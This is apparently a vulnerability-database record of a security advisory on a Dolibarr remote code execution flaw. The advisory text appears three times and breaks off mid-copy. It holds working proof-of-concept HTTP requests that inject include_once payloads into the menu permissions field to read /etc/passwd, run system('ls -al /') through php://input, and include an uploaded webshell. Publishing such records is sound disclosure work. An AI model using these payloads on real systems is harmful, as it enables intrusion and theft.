{"id":"GHSA-49xw-hw94-fmv2","aliases":[],"status":"published","title":"Dolibarr has Remote Code Execution Vulnerability (Bypass)","description":"# Summary\n\nThe Dolibarr backend provides the function of adding Menu, and supports setting permissions for the added Menu:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228164114688.png)\n\nThis is the trigger point of the vulnerability. The submitted permission can be php code, and it will be executed when viewing the created Menu:\n\n- htdocs/admin/menus/edit.php\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228164445656.png)\n\nAs you can see, in edit.php, if the created menu is set to `$menu-\u003eperms`, the `dol_eval()` method will be called. Following the `dol_eval()` method, we can see that it will filter the dangerous php functions in `$menu-\u003eperms` through the blacklist set in `$forbiddenphpfunctions`:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228164725548.png)\n\nHowever, the blacklist here is not comprehensive. For example, the `include_once` and `require_once` functions can easily pass the blacklist check, which will cause file inclusion vulnerabilities. Moreover, if the `allow_url_include` option is enabled in php.ini, arbitrary code execution will occur. **The most serious thing is that we can cooperate with the file upload at `/htdocs/user/document.php?id=1\u0026uploadform=1` to achieve more general arbitrary code execution.**\n\n# Proof of Concept\n\n## Local File Inclusion\n\n(1) First, create a Menu and set \"Permissions\" to `include_once('/etc/passwd')` (note that `''` must be used here because `\"` will be detected):\n\n```http\nPOST /htdocs/admin/menus/edit.php?action=add\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=0 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 210\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0\u0026action=create\u0026menu_handler=all\u0026backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\ntoken=fae63868ce9c2a7eece04a49ffdbe23f\u0026menu_handler=all\u0026user=2\u0026type=top\u0026propertymainmenu=test1test\u0026titre=test1test\u0026url=test1test\u0026langs=\u0026position=100\u0026target=\u0026enabled=1\u0026perms=include_once('/etc/passwd')\u0026save=Save\n```\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165411557.png)\n\n(2) Then we look at the Menu we just created, and we can see that the contents of `/etc/passwd` have been successfully read out:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165517668.png)\n\n## Remote Code Execution - 1\n\n(1) We first ensure that the `allow_url_include` option of php.ini on the server is `On`:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228160154464.png)\n\nAt this point, we can use remote file inclusion and cooperate with `php://input` to achieve arbitrary code execution.\n\n(2) Create a Menu and set \"Permissions\" to `include_once('php://input')` (note that `''` must be used here because `\"` will be detected):\n\n```http\nPOST /htdocs/admin/menus/edit.php?action=add\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=0 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 210\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0\u0026action=create\u0026menu_handler=all\u0026backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\ntoken=fae63868ce9c2a7eece04a49ffdbe23f\u0026menu_handler=all\u0026user=2\u0026type=top\u0026propertymainmenu=test1test\u0026titre=test1test\u0026url=test1test\u0026langs=\u0026position=100\u0026target=\u0026enabled=1\u0026perms=include_once('php://input')\u0026save=Save\n```\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165822802.png)\n\n(3) Finally, the system command is successfully executed through the POST request:\n\n```http\nPOST http://192.168.31.31/htdocs/admin/menus/edit.php?menu_handler=all\u0026action=edit\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=24 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 27\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/index.php?url=/etc/passwd\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\n\u003c?php system('ls -al /');?\u003e\n```\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165923443.png)\n\n## Remote Code Execution - 2 (File Inclusion with file upload)\n\nAt this point, we are absolutely sure that a file inclusion vulnerability can be achieved by setting \"Permissions\", and arbitrary code execution can be achieved with `allow_url_include = On`. However, the setting `allow_url_include = On` does not exist on every server. Therefore, to achieve the purpose of universal arbitrary code execution, we need to cooperate with the file upload (without suffix) function.\n\n(1) We can upload a file containing php webshell code through the \"Attach a new file/document\" function in `/htdocs/user/document.php?id=1\u0026uploadform=1`. The file name is \"shell\" (this file There must be no suffix, otherwise the detection of `.` by `dol_eval()` cannot be bypassed when setting \"Permissions\" later. Among all file upload points, only \"Attach a new file/document\" can be Upload files without suffix):\n\n![image-20240228232622397](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228232622397.png)\n\n(2) upload the \"shell\":\n\n![image-20240228231150328](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228231150328.png)\n\nImages uploaded from here will eventually be saved on the server in the \"/var/www/html/documents/users/1/\" directory:\n\n![image-20240228230738376](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228230738376.png)\n\n（3）create a Menu and set \"Permissions\" to `include_once('/var/www/html/documents/users/1/shell')` (note that `''` must be used here because `\"` will be detected).\n\n```http\nPOST /htdocs/admin/menus/edit.php?action=add\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=0 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 210\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0\u0026action=create\u0026menu_handler=all\u0026backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\ntoken=e71337659d7cbae16b0279b4e04535aa\u0026menu_handler=all\u0026user=2\u0026type=left\u0026propertymainmenu=whaoamia\u0026menuIdParent=123\u0026titre=whaoamia\u0026picto=whaoamia\u0026url=whaoamia\u0026langs=\u0026position=100\u0026enabled=1\u0026perms=include_once('/var/www/html/documents/users/1/shell')\u0026target=\u0026save=Save\n```\n\n(4) Finally, when we access the Menu we just created, we can find that the \"/var/www/html/documents/users/1/shell\" file is included:\n\n![image-20240228231800914](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228231800914.png)\n\nFinally, arbitrary code execution was successfully achieved:\n\n![image-20240228231703417](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228231703417.png)\n\n![image-20240228232116013](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228232116013.png)\n\n# Impact\n\nThis vulnerability can run arbitrary commands in the file system and read sensitive files.\n\n# Say it at the end\n\nIf you confirm the vulnerability, please apply for a CVE to notify all users to update.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-98"],"published":"2025-07-21T19:29:09Z","modified":"2025-12-18T01:46:13Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"dolibarr/dolibarr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"21.0.2"}]}]},{"source":"osv","ecosystem":"Packagist","package":"dolibarr/dolibarr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"21.0.2"}]}],"versions":["10.0.0","10.0.1","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","11.0.0","11.0.1","11.0.2","11.0.3","11.0.4","11.0.5","12.0.0","12.0.1","12.0.2","12.0.3","12.0.4","12.0.5","13.0.0","13.0.1","13.0.2","13.0.3","13.0.4","13.0.5","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","15.0.0","15.0.1","15.0.2","15.0.3","3.6.0","3.6.0-beta","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.8.0","3.8.0-beta","3.8.1","3.8.2","3.8.3","3.8.4","3.9.0","3.9.0-rc","3.9.0-rc2","3.9.1","3.9.2","3.9.3","3.9.4","4.0.0","4.0.0-beta","4.0.0-rc","4.0.0-rc2","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","5.0.0","5.0.0-beta","5.0.0-rc1","5.0.0-rc2","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","6.0.0","6.0.0-beta","6.0.0-rc","6.0.1","6.0.2","6.0.3","6.0.4","6.0.5","6.0.6","6.0.7","6.0.8","7.0.0","7.0.1","7.0.2","7.0.3","7.0.4","7.0.5","8.0.0","8.0.1","8.0.2","8.0.3","8.0.4","8.0.5","8.0.6","9.0.0","9.0.1","9.0.2","9.0.3","9.0.4"]}],"references":[{"url":"https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-49xw-hw94-fmv2","tags":["web"]},{"url":"https://github.com/Dolibarr/dolibarr/blob/21.0.2/htdocs/admin/menus/edit.php","tags":["web"]},{"url":"https://github.com/Dolibarr/dolibarr/blob/21.0.2/htdocs/user/document.php","tags":["web"]},{"url":"https://github.com/advisories/GHSA-49xw-hw94-fmv2"},{"url":"https://github.com/Dolibarr/dolibarr","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-49xw-hw94-fmv2","title":"Dolibarr has Remote Code Execution Vulnerability (Bypass)","description":"# Summary\n\nThe Dolibarr backend provides the function of adding Menu, and supports setting permissions for the added Menu:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228164114688.png)\n\nThis is the trigger point of the vulnerability. The submitted permission can be php code, and it will be executed when viewing the created Menu:\n\n- htdocs/admin/menus/edit.php\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228164445656.png)\n\nAs you can see, in edit.php, if the created menu is set to `$menu-\u003eperms`, the `dol_eval()` method will be called. Following the `dol_eval()` method, we can see that it will filter the dangerous php functions in `$menu-\u003eperms` through the blacklist set in `$forbiddenphpfunctions`:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228164725548.png)\n\nHowever, the blacklist here is not comprehensive. For example, the `include_once` and `require_once` functions can easily pass the blacklist check, which will cause file inclusion vulnerabilities. Moreover, if the `allow_url_include` option is enabled in php.ini, arbitrary code execution will occur. **The most serious thing is that we can cooperate with the file upload at `/htdocs/user/document.php?id=1\u0026uploadform=1` to achieve more general arbitrary code execution.**\n\n# Proof of Concept\n\n## Local File Inclusion\n\n(1) First, create a Menu and set \"Permissions\" to `include_once('/etc/passwd')` (note that `''` must be used here because `\"` will be detected):\n\n```http\nPOST /htdocs/admin/menus/edit.php?action=add\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=0 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 210\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0\u0026action=create\u0026menu_handler=all\u0026backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\ntoken=fae63868ce9c2a7eece04a49ffdbe23f\u0026menu_handler=all\u0026user=2\u0026type=top\u0026propertymainmenu=test1test\u0026titre=test1test\u0026url=test1test\u0026langs=\u0026position=100\u0026target=\u0026enabled=1\u0026perms=include_once('/etc/passwd')\u0026save=Save\n```\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165411557.png)\n\n(2) Then we look at the Menu we just created, and we can see that the contents of `/etc/passwd` have been successfully read out:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165517668.png)\n\n## Remote Code Execution - 1\n\n(1) We first ensure that the `allow_url_include` option of php.ini on the server is `On`:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228160154464.png)\n\nAt this point, we can use remote file inclusion and cooperate with `php://input` to achieve arbitrary code execution.\n\n(2) Create a Menu and set \"Permissions\" to `include_once('php://input')` (note that `''` must be used here because `\"` will be detected):\n\n```http\nPOST /htdocs/admin/menus/edit.php?action=add\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=0 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 210\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0\u0026action=create\u0026menu_handler=all\u0026backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\ntoken=fae63868ce9c2a7eece04a49ffdbe23f\u0026menu_handler=all\u0026user=2\u0026type=top\u0026propertymainmenu=test1test\u0026titre=test1test\u0026url=test1test\u0026langs=\u0026position=100\u0026target=\u0026enabled=1\u0026perms=include_once('php://input')\u0026save=Save\n```\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165822802.png)\n\n(3) Finally, the system command is successfully executed through the POST request:\n\n```http\nPOST http://192.168.31.31/htdocs/admin/menus/edit.php?menu_handler=all\u0026action=edit\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=24 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 27\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/index.php?url=/etc/passwd\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\n\u003c?php system('ls -al /');?\u003e\n```\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165923443.png)\n\n## Remote Code Execution - 2 (File Inclusion with file upload)\n\nAt this point, we are absolutely sure that a file inclusion vulnerability can be achieved by setting \"Permissions\", and arbitrary code execution can be achieved with `allow_url_include = On`. However, the setting `allow_url_include = On` does not exist on every server. Therefore, to achieve the purpose of universal arbitrary code execution, we need to cooperate with the file upload (without suffix) function.\n\n(1) We can upload a file containing php webshell code through the \"Attach a new file/document\" function in `/htdocs/user/document.php?id=1\u0026uploadform=1`. The file name is \"shell\" (this file There must be no suffix, otherwise the detection of `.` by `dol_eval()` cannot be bypassed when setting \"Permissions\" later. Among all file upload points, only \"Attach a new file/document\" can be Upload files without suffix):\n\n![image-20240228232622397](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228232622397.png)\n\n(2) upload the \"shell\":\n\n![image-20240228231150328](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228231150328.png)\n\nImages uploaded from here will eventually be saved on the server in the \"/var/www/html/documents/users/1/\" directory:\n\n![image-20240228230738376](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228230738376.png)\n\n（3）create a Menu and set \"Permissions\" to `include_once('/var/www/html/documents/users/1/shell')` (note that `''` must be used here because `\"` will be detected).\n\n```http\nPOST /htdocs/admin/menus/edit.php?action=add\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=0 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 210\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0\u0026action=create\u0026menu_handler=all\u0026backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\ntoken=e71337659d7cbae16b0279b4e04535aa\u0026menu_handler=all\u0026user=2\u0026type=left\u0026propertymainmenu=whaoamia\u0026menuIdParent=123\u0026titre=whaoamia\u0026picto=whaoamia\u0026url=whaoamia\u0026langs=\u0026position=100\u0026enabled=1\u0026perms=include_once('/var/www/html/documents/users/1/shell')\u0026target=\u0026save=Save\n```\n\n(4) Finally, when we access the Menu we just created, we can find that the \"/var/www/html/documents/users/1/shell\" file is included:\n\n![image-20240228231800914](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228231800914.png)\n\nFinally, arbitrary code execution was successfully achieved:\n\n![image-20240228231703417](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228231703417.png)\n\n![image-20240228232116013](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228232116013.png)\n\n# Impact\n\nThis vulnerability can run arbitrary commands in the file system and read sensitive files.\n\n# Say it at the end\n\nIf you confirm the vulnerability, please apply for a CVE to notify all users to update.","status":"published","published":"2025-07-21T19:29:09Z","modified":"2025-07-21T19:29:10Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-98"],"updated_at":"2026-11-02T14:38:50.834587Z"}],"osv":[{"id":"GHSA-49xw-hw94-fmv2","title":"Dolibarr has Remote Code Execution Vulnerability (Bypass)","description":"# Summary\n\nThe Dolibarr backend provides the function of adding Menu, and supports setting permissions for the added Menu:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228164114688.png)\n\nThis is the trigger point of the vulnerability. The submitted permission can be php code, and it will be executed when viewing the created Menu:\n\n- htdocs/admin/menus/edit.php\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228164445656.png)\n\nAs you can see, in edit.php, if the created menu is set to `$menu-\u003eperms`, the `dol_eval()` method will be called. Following the `dol_eval()` method, we can see that it will filter the dangerous php functions in `$menu-\u003eperms` through the blacklist set in `$forbiddenphpfunctions`:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228164725548.png)\n\nHowever, the blacklist here is not comprehensive. For example, the `include_once` and `require_once` functions can easily pass the blacklist check, which will cause file inclusion vulnerabilities. Moreover, if the `allow_url_include` option is enabled in php.ini, arbitrary code execution will occur. **The most serious thing is that we can cooperate with the file upload at `/htdocs/user/document.php?id=1\u0026uploadform=1` to achieve more general arbitrary code execution.**\n\n# Proof of Concept\n\n## Local File Inclusion\n\n(1) First, create a Menu and set \"Permissions\" to `include_once('/etc/passwd')` (note that `''` must be used here because `\"` will be detected):\n\n```http\nPOST /htdocs/admin/menus/edit.php?action=add\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=0 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 210\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0\u0026action=create\u0026menu_handler=all\u0026backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\ntoken=fae63868ce9c2a7eece04a49ffdbe23f\u0026menu_handler=all\u0026user=2\u0026type=top\u0026propertymainmenu=test1test\u0026titre=test1test\u0026url=test1test\u0026langs=\u0026position=100\u0026target=\u0026enabled=1\u0026perms=include_once('/etc/passwd')\u0026save=Save\n```\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165411557.png)\n\n(2) Then we look at the Menu we just created, and we can see that the contents of `/etc/passwd` have been successfully read out:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165517668.png)\n\n## Remote Code Execution - 1\n\n(1) We first ensure that the `allow_url_include` option of php.ini on the server is `On`:\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228160154464.png)\n\nAt this point, we can use remote file inclusion and cooperate with `php://input` to achieve arbitrary code execution.\n\n(2) Create a Menu and set \"Permissions\" to `include_once('php://input')` (note that `''` must be used here because `\"` will be detected):\n\n```http\nPOST /htdocs/admin/menus/edit.php?action=add\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=0 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 210\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0\u0026action=create\u0026menu_handler=all\u0026backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\ntoken=fae63868ce9c2a7eece04a49ffdbe23f\u0026menu_handler=all\u0026user=2\u0026type=top\u0026propertymainmenu=test1test\u0026titre=test1test\u0026url=test1test\u0026langs=\u0026position=100\u0026target=\u0026enabled=1\u0026perms=include_once('php://input')\u0026save=Save\n```\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165822802.png)\n\n(3) Finally, the system command is successfully executed through the POST request:\n\n```http\nPOST http://192.168.31.31/htdocs/admin/menus/edit.php?menu_handler=all\u0026action=edit\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=24 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 27\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://192.168.31.31/index.php?url=/etc/passwd\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6\nCookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd\nConnection: close\n\n\u003c?php system('ls -al /');?\u003e\n```\n\n![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228165923443.png)\n\n## Remote Code Execution - 2 (File Inclusion with file upload)\n\nAt this point, we are absolutely sure that a file inclusion vulnerability can be achieved by setting \"Permissions\", and arbitrary code execution can be achieved with `allow_url_include = On`. However, the setting `allow_url_include = On` does not exist on every server. Therefore, to achieve the purpose of universal arbitrary code execution, we need to cooperate with the file upload (without suffix) function.\n\n(1) We can upload a file containing php webshell code through the \"Attach a new file/document\" function in `/htdocs/user/document.php?id=1\u0026uploadform=1`. The file name is \"shell\" (this file There must be no suffix, otherwise the detection of `.` by `dol_eval()` cannot be bypassed when setting \"Permissions\" later. Among all file upload points, only \"Attach a new file/document\" can be Upload files without suffix):\n\n![image-20240228232622397](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228232622397.png)\n\n(2) upload the \"shell\":\n\n![image-20240228231150328](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228231150328.png)\n\nImages uploaded from here will eventually be saved on the server in the \"/var/www/html/documents/users/1/\" directory:\n\n![image-20240228230738376](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image-20240228230738376.png)\n\n（3）create a Menu and set \"Permissions\" to `include_once('/var/www/html/documents/users/1/shell')` (note that `''` must be used here because `\"` will be detected).\n\n```http\nPOST /htdocs/admin/menus/edit.php?action=add\u0026token=fae63868ce9c2a7eece04a49ffdbe23f\u0026menuId=0 HTTP/1.1\nHost: 192.168.31.31\nContent-Length: 210\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.31.31\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like 